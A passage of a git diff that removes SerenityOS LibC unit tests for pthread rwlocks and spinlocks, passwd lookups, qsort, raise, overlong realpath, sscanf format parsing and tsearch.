||||
result = pthread_rwlock_wrlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_rwlock_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
TEST_CASE(rwlock_rwr_sequence)
|
||||
{
|
||||
pthread_rwlock_t lock;
|
||||
auto result = pthread_rwlock_init(&lock, nullptr);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_rwlock_rdlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_rwlock_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_rwlock_wrlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_rwlock_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_rwlock_rdlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_rwlock_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
TEST_CASE(rwlock_wrlock_init_in_once)
|
||||
{
|
||||
static pthread_rwlock_t lock;
|
||||
static pthread_once_t once1 = PTHREAD_ONCE_INIT;
|
||||
static pthread_once_t once2 = PTHREAD_ONCE_INIT;
|
||||
static pthread_once_t once3 = PTHREAD_ONCE_INIT;
|
||||
pthread_once(&once1, []() {
|
||||
pthread_once(&once2, []() {
|
||||
pthread_once(&once3, []() {
|
||||
auto result = pthread_rwlock_init(&lock, nullptr);
|
||||
EXPECT_EQ(0, result);
|
||||
});
|
||||
});
|
||||
});
|
||||
auto result = pthread_rwlock_wrlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_rwlock_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
|
@ -1,131 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(spin_init_process_scope)
|
||||
{
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_init(&lock, PTHREAD_SCOPE_PROCESS);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_spin_destroy(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
{
|
||||
pthread_spinlock_t garbage_lock { 0x1337 };
|
||||
auto result = pthread_spin_init(&garbage_lock, PTHREAD_SCOPE_PROCESS);
|
||||
EXPECT_EQ(0, result);
|
||||
result = pthread_spin_destroy(&garbage_lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(spin_init_system_scope)
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_init(&lock, PTHREAD_SCOPE_SYSTEM);
|
||||
EXPECT_EQ(0, result);
|
||||
pthread_spinlock_t garbage_lock { 0x99999 };
|
||||
result = pthread_spin_init(&garbage_lock, PTHREAD_SCOPE_PROCESS);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
TEST_CASE(spin_lock)
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_lock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
// We should detect that this thread already holds this lock.
|
||||
result = pthread_spin_lock(&lock);
|
||||
EXPECT_EQ(EDEADLK, result);
|
||||
}
|
||||
|
||||
TEST_CASE(spin_try_lock)
|
||||
{
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_trylock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_spin_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_trylock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
// We should detect that this thread already holds the lock.
|
||||
result = pthread_spin_trylock(&lock);
|
||||
EXPECT_EQ(EBUSY, result);
|
||||
}
|
||||
}
|
||||
|
||||
static void lock_from_different_thread(pthread_spinlock_t* lock)
|
||||
{
|
||||
pthread_t thread_id {};
|
||||
auto result = pthread_create(
|
||||
&thread_id, nullptr, [](void* param) -> void* {
|
||||
auto lock = (pthread_spinlock_t*)param;
|
||||
pthread_spin_lock(lock);
|
||||
return nullptr;
|
||||
},
|
||||
lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_join(thread_id, nullptr);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
TEST_CASE(spin_unlock)
|
||||
{
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_lock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_spin_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
lock_from_different_thread(&lock);
|
||||
|
||||
auto result = pthread_spin_unlock(&lock);
|
||||
EXPECT_EQ(EPERM, result);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(spin_destroy)
|
||||
{
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
auto result = pthread_spin_lock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
|
||||
result = pthread_spin_destroy(&lock);
|
||||
EXPECT_EQ(EBUSY, result);
|
||||
|
||||
result = pthread_spin_unlock(&lock);
|
||||
EXPECT_EQ(0, result);
|
||||
}
|
||||
|
||||
{
|
||||
pthread_spinlock_t lock {};
|
||||
lock_from_different_thread(&lock);
|
||||
|
||||
auto result = pthread_spin_destroy(&lock);
|
||||
EXPECT_EQ(EBUSY, result);
|
||||
}
|
||||
}
|
|
@ -1,118 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2022, Andreas Kling <kling@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <AK/Vector.h>
|
||||
#include <pwd.h>
|
||||
|
||||
struct PasswdEntry {
|
||||
ByteString name;
|
||||
uid_t uid {};
|
||||
};
|
||||
|
||||
static Vector<PasswdEntry> get_all_passwd_entries()
|
||||
{
|
||||
Vector<PasswdEntry> entries;
|
||||
setpwent();
|
||||
while (auto* pwd = getpwent()) {
|
||||
entries.append(PasswdEntry {
|
||||
.name = pwd->pw_name,
|
||||
.uid = pwd->pw_uid,
|
||||
});
|
||||
}
|
||||
return entries;
|
||||
}
|
||||
|
||||
TEST_CASE(getpwuid_r)
|
||||
{
|
||||
// Verify that all known passwd entries can be found with getpwuid_r()
|
||||
for (auto const& entry : get_all_passwd_entries()) {
|
||||
struct passwd pwd_buffer = {};
|
||||
char buffer[4096] = {};
|
||||
struct passwd* result = nullptr;
|
||||
auto rc = getpwuid_r(entry.uid, &pwd_buffer, buffer, sizeof(buffer), &result);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(entry.uid, result->pw_uid);
|
||||
EXPECT_EQ(entry.name, result->pw_name);
|
||||
}
|
||||
|
||||
// Verify that a bogus UID can't be found with getpwuid_r()
|
||||
{
|
||||
struct passwd pwd_buffer = {};
|
||||
char buffer[4096] = {};
|
||||
struct passwd* result = nullptr;
|
||||
auto rc = getpwuid_r(99991999, &pwd_buffer, buffer, sizeof(buffer), &result);
|
||||
EXPECT_EQ(rc, ENOENT);
|
||||
EXPECT_EQ(result, nullptr);
|
||||
}
|
||||
|
||||
// Verify that two calls to getpwuid_r() don't clobber each other.
|
||||
{
|
||||
struct passwd pwd_buffer1 = {};
|
||||
char buffer1[4096] = {};
|
||||
struct passwd* result1 = nullptr;
|
||||
auto rc1 = getpwuid_r(0, &pwd_buffer1, buffer1, sizeof(buffer1), &result1);
|
||||
EXPECT_EQ(rc1, 0);
|
||||
EXPECT_NE(result1, nullptr);
|
||||
EXPECT_EQ(result1, &pwd_buffer1);
|
||||
|
||||
struct passwd pwd_buffer2 = {};
|
||||
char buffer2[4096] = {};
|
||||
struct passwd* result2 = nullptr;
|
||||
auto rc2 = getpwuid_r(0, &pwd_buffer2, buffer2, sizeof(buffer2), &result2);
|
||||
EXPECT_EQ(rc2, 0);
|
||||
EXPECT_NE(result2, nullptr);
|
||||
EXPECT_EQ(result2, &pwd_buffer2);
|
||||
|
||||
EXPECT_NE(result1, result2);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(getpwnam_r)
|
||||
{
|
||||
// Verify that all known passwd entries can be found with getpwnam_r()
|
||||
for (auto const& entry : get_all_passwd_entries()) {
|
||||
struct passwd pwd_buffer = {};
|
||||
char buffer[4096] = {};
|
||||
struct passwd* result = nullptr;
|
||||
auto rc = getpwnam_r(entry.name.characters(), &pwd_buffer, buffer, sizeof(buffer), &result);
|
||||
EXPECT_EQ(rc, 0);
|
||||
EXPECT_EQ(entry.uid, result->pw_uid);
|
||||
EXPECT_EQ(entry.name, result->pw_name);
|
||||
}
|
||||
|
||||
// Verify that a bogus name can't be found with getpwnam_r()
|
||||
{
|
||||
struct passwd pwd_buffer = {};
|
||||
char buffer[4096] = {};
|
||||
struct passwd* result = nullptr;
|
||||
auto rc = getpwnam_r("99991999", &pwd_buffer, buffer, sizeof(buffer), &result);
|
||||
EXPECT_EQ(rc, ENOENT);
|
||||
EXPECT_EQ(result, nullptr);
|
||||
}
|
||||
|
||||
// Verify that two calls to getpwnam_r() don't clobber each other.
|
||||
{
|
||||
struct passwd pwd_buffer1 = {};
|
||||
char buffer1[4096] = {};
|
||||
struct passwd* result1 = nullptr;
|
||||
auto rc1 = getpwnam_r("root", &pwd_buffer1, buffer1, sizeof(buffer1), &result1);
|
||||
EXPECT_EQ(rc1, 0);
|
||||
EXPECT_NE(result1, nullptr);
|
||||
EXPECT_EQ(result1, &pwd_buffer1);
|
||||
|
||||
struct passwd pwd_buffer2 = {};
|
||||
char buffer2[4096] = {};
|
||||
struct passwd* result2 = nullptr;
|
||||
auto rc2 = getpwnam_r("root", &pwd_buffer2, buffer2, sizeof(buffer2), &result2);
|
||||
EXPECT_EQ(rc2, 0);
|
||||
EXPECT_NE(result2, nullptr);
|
||||
EXPECT_EQ(result2, &pwd_buffer2);
|
||||
|
||||
EXPECT_NE(result1, result2);
|
||||
}
|
||||
}
|
|
@ -1,69 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Sahan Fernando <sahan.h.fernando@gmail.com>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <AK/ByteString.h>
|
||||
#include <AK/QuickSort.h>
|
||||
#include <AK/Random.h>
|
||||
#include <AK/Vector.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
size_t const NUM_RUNS = 10;
|
||||
|
||||
struct SortableObject {
|
||||
int m_key;
|
||||
int m_payload;
|
||||
};
|
||||
|
||||
static int compare_sortable_object(void const* a, void const* b)
|
||||
{
|
||||
int const key1 = static_cast<SortableObject const*>(a)->m_key;
|
||||
int const key2 = static_cast<SortableObject const*>(b)->m_key;
|
||||
if (key1 < key2) {
|
||||
return -1;
|
||||
} else if (key1 == key2) {
|
||||
return 0;
|
||||
} else {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
static int calc_payload_for_pos(size_t pos)
|
||||
{
|
||||
pos *= 231;
|
||||
return pos ^ (pos << 8) ^ (pos << 16) ^ (pos << 24);
|
||||
}
|
||||
|
||||
TEST_CASE(quick_sort)
|
||||
{
|
||||
// Generate vector of SortableObjects in sorted order, with payloads determined by their sorted positions
|
||||
Vector<SortableObject> test_objects;
|
||||
for (auto i = 0; i < 1024; ++i) {
|
||||
test_objects.append({ i * 137, calc_payload_for_pos(i) });
|
||||
}
|
||||
for (size_t i = 0; i < NUM_RUNS; i++) {
|
||||
// Shuffle the vector, then sort it again
|
||||
shuffle(test_objects);
|
||||
qsort(test_objects.data(), test_objects.size(), sizeof(SortableObject), compare_sortable_object);
|
||||
// Check that the objects are sorted by key
|
||||
for (auto i = 0u; i + 1 < test_objects.size(); ++i) {
|
||||
auto const& key1 = test_objects[i].m_key;
|
||||
auto const& key2 = test_objects[i + 1].m_key;
|
||||
if (key1 > key2) {
|
||||
FAIL(ByteString::formatted("saw key {} before key {}\n", key1, key2));
|
||||
}
|
||||
}
|
||||
// Check that the object's payloads have not been corrupted
|
||||
for (auto i = 0u; i < test_objects.size(); ++i) {
|
||||
auto const expected = calc_payload_for_pos(i);
|
||||
auto const payload = test_objects[i].m_payload;
|
||||
if (payload != expected) {
|
||||
FAIL(ByteString::formatted("Expected payload {} for pos {}, got payload {}", expected, i, payload));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,17 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <signal.h>
|
||||
|
||||
TEST_CASE(raise)
|
||||
{
|
||||
EXPECT_CRASH_WITH_SIGNAL("This should raise a SIGUSR1 signal", SIGUSR1, [] {
|
||||
raise(SIGUSR1);
|
||||
return Test::Crash::Failure::DidNotCrash;
|
||||
});
|
||||
}
|
|
@ -1,86 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <AK/ByteString.h>
|
||||
#include <AK/StringBuilder.h>
|
||||
#include <errno.h>
|
||||
#include <limits.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static constexpr char TMPDIR_PATTERN[] = "/tmp/overlong_realpath_XXXXXX";
|
||||
static constexpr char PATH_LOREM_250[] = "This-is-an-annoyingly-long-name-that-should-take-up-exactly-two-hundred-and-fifty-characters-and-is-surprisingly-difficult-to-fill-with-reasonably-meaningful-text-which-is-necessary-because-that-makes-it-easier-for-my-eyes-to-spot-any-corruption-fast";
|
||||
|
||||
static constexpr size_t ITERATION_DEPTH = 17;
|
||||
|
||||
static void check_result(char const* what, StringView expected, char const* actual)
|
||||
{
|
||||
if (expected != actual)
|
||||
FAIL(ByteString::formatted("Expected {} to be \"{}\" ({} characters)", what, actual, actual ? strlen(actual) : 0));
|
||||
}
|
||||
|
||||
TEST_CASE(overlong_realpath)
|
||||
{
|
||||
// We want to construct a path that is over PATH_MAX characters long.
|
||||
// This cannot be done in a single step.
|
||||
|
||||
// First, switch to a known environment:
|
||||
char tmp_dir[] = "/tmp/overlong_realpath_XXXXXX";
|
||||
|
||||
errno = 0;
|
||||
auto* new_dir = mkdtemp(tmp_dir);
|
||||
VERIFY(new_dir != nullptr);
|
||||
VERIFY(errno == 0);
|
||||
|
||||
errno = 0;
|
||||
auto ret = chdir(tmp_dir);
|
||||
VERIFY(ret >= 0);
|
||||
VERIFY(errno == 0);
|
||||
|
||||
// Then, create a long path.
|
||||
StringBuilder expected;
|
||||
expected.append({ tmp_dir, strlen(tmp_dir) });
|
||||
|
||||
// But first, demonstrate the functionality at a reasonable depth:
|
||||
auto expected_str = expected.to_byte_string();
|
||||
check_result("getwd", expected_str, getwd(static_cast<char*>(calloc(1, PATH_MAX))));
|
||||
check_result("getcwd", expected_str, getcwd(nullptr, 0));
|
||||
check_result("realpath", expected_str, realpath(".", nullptr));
|
||||
|
||||
for (size_t i = 0; i < ITERATION_DEPTH; ++i) {
|
||||
ret = mkdir(PATH_LOREM_250, S_IRWXU);
|
||||
if (ret < 0) {
|
||||
perror("mkdir iter");
|
||||
FAIL(ByteString::formatted("Unable to mkdir the overlong path fragment in iteration {}", i));
|
||||
return;
|
||||
}
|
||||
expected.append('/');
|
||||
expected.append({ PATH_LOREM_250, strlen(PATH_LOREM_250) });
|
||||
ret = chdir(PATH_LOREM_250);
|
||||
if (ret < 0) {
|
||||
perror("chdir iter");
|
||||
FAIL(ByteString::formatted("Unable to chdir to the overlong path fragment in iteration {}", i));
|
||||
return;
|
||||
}
|
||||
}
|
||||
outln("cwd should now be ridiculously large");
|
||||
|
||||
// Evaluate
|
||||
expected_str = expected.to_byte_string();
|
||||
|
||||
check_result("getwd", {}, getwd(static_cast<char*>(calloc(1, PATH_MAX))));
|
||||
check_result("getcwd", expected_str, getcwd(nullptr, 0));
|
||||
check_result("realpath", expected_str, realpath(".", nullptr));
|
||||
|
||||
VERIFY(strlen(PATH_LOREM_250) == 250);
|
||||
VERIFY(strlen(TMPDIR_PATTERN) + ITERATION_DEPTH * (1 + strlen(PATH_LOREM_250)) == expected_str.length());
|
||||
VERIFY(expected_str.length() > PATH_MAX);
|
||||
}
|
|
@ -1,253 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <AK/Array.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef long double longdouble;
|
||||
typedef long long longlong;
|
||||
typedef unsigned long long unsignedlonglong;
|
||||
typedef unsigned long unsignedlong;
|
||||
typedef char charstar[32];
|
||||
|
||||
template<typename T>
|
||||
constexpr static Array<unsigned char, 32> to_value_t(T x)
|
||||
{
|
||||
// The endianness doesn't really matter, since we're going to convert both sides with this anyway.
|
||||
union Value {
|
||||
u8 v[32];
|
||||
T t;
|
||||
};
|
||||
|
||||
auto value = Value { .t = x };
|
||||
|
||||
return {
|
||||
value.v[0],
|
||||
value.v[1],
|
||||
value.v[2],
|
||||
value.v[3],
|
||||
value.v[4],
|
||||
value.v[5],
|
||||
value.v[6],
|
||||
value.v[7],
|
||||
value.v[8],
|
||||
value.v[9],
|
||||
value.v[10],
|
||||
value.v[11],
|
||||
value.v[12],
|
||||
value.v[13],
|
||||
value.v[14],
|
||||
value.v[15],
|
||||
value.v[16],
|
||||
value.v[17],
|
||||
value.v[18],
|
||||
value.v[19],
|
||||
value.v[20],
|
||||
value.v[21],
|
||||
value.v[22],
|
||||
value.v[23],
|
||||
value.v[24],
|
||||
value.v[25],
|
||||
value.v[26],
|
||||
value.v[27],
|
||||
value.v[28],
|
||||
value.v[29],
|
||||
value.v[30],
|
||||
value.v[31],
|
||||
};
|
||||
}
|
||||
|
||||
template<size_t N>
|
||||
constexpr static Array<unsigned char, 32> str_to_value_t(char const (&x)[N])
|
||||
{
|
||||
Array<unsigned char, 32> value { 0 };
|
||||
for (size_t i = 0; i < N; ++i)
|
||||
value[i] = x[i];
|
||||
return value;
|
||||
}
|
||||
|
||||
struct Argument {
|
||||
size_t size;
|
||||
void* data;
|
||||
};
|
||||
|
||||
static Array<u8, 32> arg_to_value_t(Argument const& arg)
|
||||
{
|
||||
if (arg.size == 1)
|
||||
return to_value_t(*(u8*)arg.data);
|
||||
|
||||
if (arg.size == 2)
|
||||
return to_value_t(*(u16*)arg.data);
|
||||
|
||||
if (arg.size == 4)
|
||||
return to_value_t(*(u32*)arg.data);
|
||||
|
||||
if (arg.size == 8)
|
||||
return to_value_t(*(u64*)arg.data);
|
||||
|
||||
if (arg.size == 16) {
|
||||
auto& data = *(charstar*)arg.data;
|
||||
Array<unsigned char, 32> value { 0 };
|
||||
for (size_t i = 0; i < 16; ++i)
|
||||
value[i] = data[i];
|
||||
return value;
|
||||
}
|
||||
|
||||
if (arg.size == 32) {
|
||||
auto& data = *(charstar*)arg.data;
|
||||
auto length = strlen(data);
|
||||
Array<unsigned char, 32> value { 0 };
|
||||
for (size_t i = 0; i < length; ++i)
|
||||
value[i] = data[i];
|
||||
return value;
|
||||
}
|
||||
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
|
||||
#define DECL_WITH_TYPE(ty) \
|
||||
ty _##ty##arg0; \
|
||||
ty _##ty##arg1; \
|
||||
ty _##ty##arg2; \
|
||||
Argument ty##arg0 { sizeof(ty), &_##ty##arg0 }; \
|
||||
Argument ty##arg1 { sizeof(ty), &_##ty##arg1 }; \
|
||||
Argument ty##arg2 { sizeof(ty), &_##ty##arg2 };
|
||||
|
||||
DECL_WITH_TYPE(int);
|
||||
DECL_WITH_TYPE(unsigned);
|
||||
DECL_WITH_TYPE(long);
|
||||
DECL_WITH_TYPE(longlong);
|
||||
DECL_WITH_TYPE(float);
|
||||
DECL_WITH_TYPE(double);
|
||||
DECL_WITH_TYPE(longdouble);
|
||||
DECL_WITH_TYPE(unsignedlong);
|
||||
DECL_WITH_TYPE(unsignedlonglong);
|
||||
|
||||
#undef DECL_WITH_TYPE
|
||||
|
||||
charstar _charstararg0;
|
||||
charstar _charstararg1;
|
||||
charstar _charstararg2;
|
||||
Argument charstararg0 { sizeof(charstar), &_charstararg0[0] };
|
||||
Argument charstararg1 { sizeof(charstar), &_charstararg1[0] };
|
||||
Argument charstararg2 { sizeof(charstar), &_charstararg2[0] };
|
||||
|
||||
struct TestSuite {
|
||||
char const* format;
|
||||
char const* input;
|
||||
int expected_return_value;
|
||||
size_t argument_count;
|
||||
Argument arguments[8];
|
||||
Array<unsigned char, 32> expected_values[8]; // 32 bytes for each argument's value.
|
||||
};
|
||||
|
||||
TestSuite const test_suites[] {
|
||||
{ "%d", "", 0, 0, {}, {} },
|
||||
{ "%x", "0x519", 1, 1, { unsignedarg0 }, { to_value_t(0x519) } },
|
||||
{ "%x", "0x51g", 1, 1, { unsignedarg0 }, { to_value_t(0x51u) } },
|
||||
{ "%06x", "0xabcdef", 1, 1, { unsignedarg0 }, { to_value_t(0xabcdefu) } },
|
||||
{ "%X", "0xCAFEBABE", 1, 1, { unsignedarg0 }, { to_value_t(0xcafebabe) } },
|
||||
{ "%04X", "0x5E4E", 1, 1, { unsignedarg0 }, { to_value_t(0x5e4e) } },
|
||||
{ "%X", "0x51Eg", 1, 1, { unsignedarg0 }, { to_value_t(0x51e) } },
|
||||
{ "\"%%%d#", "\"%42#", 1, 1, { intarg0 }, { to_value_t(42) } },
|
||||
{ " %d", "42", 1, 1, { intarg0 }, { to_value_t(42) } },
|
||||
{ "%d", " 42", 1, 1, { intarg0 }, { to_value_t(42) } },
|
||||
{ "%ld", "42", 1, 1, { longarg0 }, { to_value_t(42l) } },
|
||||
{ "%lld", "42", 1, 1, { longlongarg0 }, { to_value_t(42ll) } },
|
||||
{ "%f", "42", 1, 1, { floatarg0 }, { to_value_t(42.0f) } },
|
||||
{ "%lf", "42", 1, 1, { doublearg0 }, { to_value_t(42.0) } },
|
||||
{ "%s", "42", 1, 1, { charstararg0 }, { str_to_value_t("42") } },
|
||||
{ "%d%s", "42yoinks", 2, 2, { intarg0, charstararg0 }, { to_value_t(42), str_to_value_t("yoinks") } },
|
||||
{ "%[^\n]", "aaaa\n", 1, 1, { charstararg0 }, { str_to_value_t("aaaa") } },
|
||||
{ "%u.%u.%u", "3.19", 2, 3, { unsignedarg0, unsignedarg1, unsignedarg2 }, { to_value_t(3u), to_value_t(19u) } },
|
||||
// Failing test case from previous impl:
|
||||
{ "SSH-%d.%d-%[^\n]\n", "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1\n", 3, 3, { intarg0, intarg1, charstararg0 }, { to_value_t(2), to_value_t(0), str_to_value_t("OpenSSH_8.2p1 Ubuntu-4ubuntu0.1") } },
|
||||
// GCC failure tests
|
||||
{ "%d.%d.%d", "10.2.0", 3, 3, { intarg0, intarg1, intarg2 }, { to_value_t(10), to_value_t(2), to_value_t(0) } },
|
||||
{ "%lu", "3054 ", 1, 1, { unsignedlongarg0 }, { to_value_t(3054ul) } },
|
||||
// "actual" long long and unsigned long long, from #6096
|
||||
// Note: '9223372036854775806' is the max value for 'long long'.
|
||||
{ "%lld", "9223372036854775805", 1, 1, { longlongarg0 }, { to_value_t(9223372036854775805LL) } },
|
||||
{ "%llu", "9223372036854775810", 1, 1, { unsignedlonglongarg0 }, { to_value_t(9223372036854775810ULL) } },
|
||||
{ "%n", "", 0, 1, { intarg0 }, { to_value_t(0) } },
|
||||
{ "%d %n", "1 a", 1, 2, { intarg0, intarg1 }, { to_value_t(1), to_value_t(2) } },
|
||||
{ "%*d", " 42", 0, 0, {}, {} },
|
||||
{ "%d%*1[:/]%d", "24/7", 2, 2, { intarg0, intarg1 }, { to_value_t(24), to_value_t(7) } },
|
||||
{ " %[^a]", " b", 1, 1, { charstararg0 }, { str_to_value_t("b") } },
|
||||
};
|
||||
|
||||
bool g_any_failed = false;
|
||||
|
||||
static bool check_value_conformance(TestSuite const& test)
|
||||
{
|
||||
bool fail = false;
|
||||
for (size_t i = 0; i < test.argument_count; ++i) {
|
||||
auto& arg = test.arguments[i];
|
||||
auto arg_value = arg_to_value_t(arg);
|
||||
auto& value = test.expected_values[i];
|
||||
if (arg_value != value) {
|
||||
auto arg_ptr = (u32 const*)arg_value.data();
|
||||
auto value_ptr = (u32 const*)value.data();
|
||||
printf(" value %zu FAIL,\n", i);
|
||||
printf(" expected %08x%08x%08x%08x%08x%08x%08x%08x\n",
|
||||
value_ptr[0], value_ptr[1], value_ptr[2], value_ptr[3],
|
||||
value_ptr[4], value_ptr[5], value_ptr[6], value_ptr[7]);
|
||||
printf(" but got %08x%08x%08x%08x%08x%08x%08x%08x\n",
|
||||
arg_ptr[0], arg_ptr[1], arg_ptr[2], arg_ptr[3],
|
||||
arg_ptr[4], arg_ptr[5], arg_ptr[6], arg_ptr[7]);
|
||||
fail = true;
|
||||
} else {
|
||||
printf(" value %zu PASS\n", i);
|
||||
}
|
||||
}
|
||||
|
||||
return !fail;
|
||||
}
|
||||
|
||||
static void do_one_test(TestSuite const& test)
|
||||
{
|
||||
printf("Testing '%s' against '%s'...\n", test.input, test.format);
|
||||
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Wformat-nonliteral"
|
||||
auto rc = sscanf(test.input, test.format,
|
||||
test.arguments[0].data, test.arguments[1].data, test.arguments[2].data, test.arguments[3].data,
|
||||
test.arguments[4].data, test.arguments[5].data, test.arguments[6].data, test.arguments[7].data);
|
||||
#pragma GCC diagnostic pop
|
||||
|
||||
bool overall = true;
|
||||
printf(" return value...\n");
|
||||
if (rc != test.expected_return_value) {
|
||||
printf(" return value FAIL, expected %d but got %d\n", test.expected_return_value, rc);
|
||||
overall = false;
|
||||
} else {
|
||||
printf(" return value PASS\n");
|
||||
}
|
||||
|
||||
printf(" read values...\n");
|
||||
if (check_value_conformance(test)) {
|
||||
printf(" read values PASS\n");
|
||||
} else {
|
||||
printf(" read values FAIL\n");
|
||||
overall = false;
|
||||
}
|
||||
|
||||
if (overall)
|
||||
printf(" overall PASS\n");
|
||||
else
|
||||
printf(" overall FAIL\n");
|
||||
|
||||
VERIFY(overall);
|
||||
}
|
||||
|
||||
TEST_CASE(scanf)
|
||||
{
|
||||
for (auto& test : test_suites)
|
||||
do_one_test(test);
|
||||
}
|
|
@ -1,255 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Tim Schumacher <timschumi@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <bits/search.h>
|
||||
#include <search.h>
|
||||
#include <string.h>
|
||||
|
||||
#define NODE(node) static_cast<struct search_tree_node*>(node)
|
||||
#define ROOTP(root) reinterpret_cast<void**>(root)
|
||||
#define U8(value) static_cast<u8>(value)
|
||||
|
||||
static int comparison_function(void const* node1, void const* node2)
|
||||
{
|
||||
return strcmp(reinterpret_cast<char const*>(node1), reinterpret_cast<char const*>(node2));
|
||||
}
|
||||
|
||||
struct twalk_test_entry {
|
||||
void const* node;
|
||||
VISIT order;
|
||||
int depth;
|
||||
};
|
||||
|
||||
#define TWALK_SET_DATA (-2)
|
||||
#define TWALK_CHECK_END (-3)
|
||||
#define TWALK_END_MARKER (-4)
|
||||
|
||||
TEST_CASE(tsearch)
|
||||
{
|
||||
struct search_tree_node* root = nullptr;
|
||||
void* ret;
|
||||
char const* key;
|
||||
char* search;
|
||||
|
||||
// Try a nullptr rootp.
|
||||
ret = tsearch("buggie", nullptr, comparison_function);
|
||||
EXPECT_EQ(ret, nullptr);
|
||||
|
||||
// Try creating a new tree.
|
||||
key = "5";
|
||||
ret = tsearch(key, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root);
|
||||
EXPECT_EQ(NODE(ret)->key, key);
|
||||
|
||||
// Insert an element on the left side.
|
||||
key = "3";
|
||||
ret = tsearch(key, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->left);
|
||||
EXPECT_EQ(NODE(ret)->key, key);
|
||||
|
||||
// Insert an element on the right side.
|
||||
key = "7";
|
||||
ret = tsearch(key, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->right);
|
||||
EXPECT_EQ(NODE(ret)->key, key);
|
||||
|
||||
// Add another layer for testing.
|
||||
ret = tsearch("2", ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->left->left);
|
||||
ret = tsearch("4", ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->left->right);
|
||||
ret = tsearch("6", ROOTP(&root), comparison_function);
|
||||
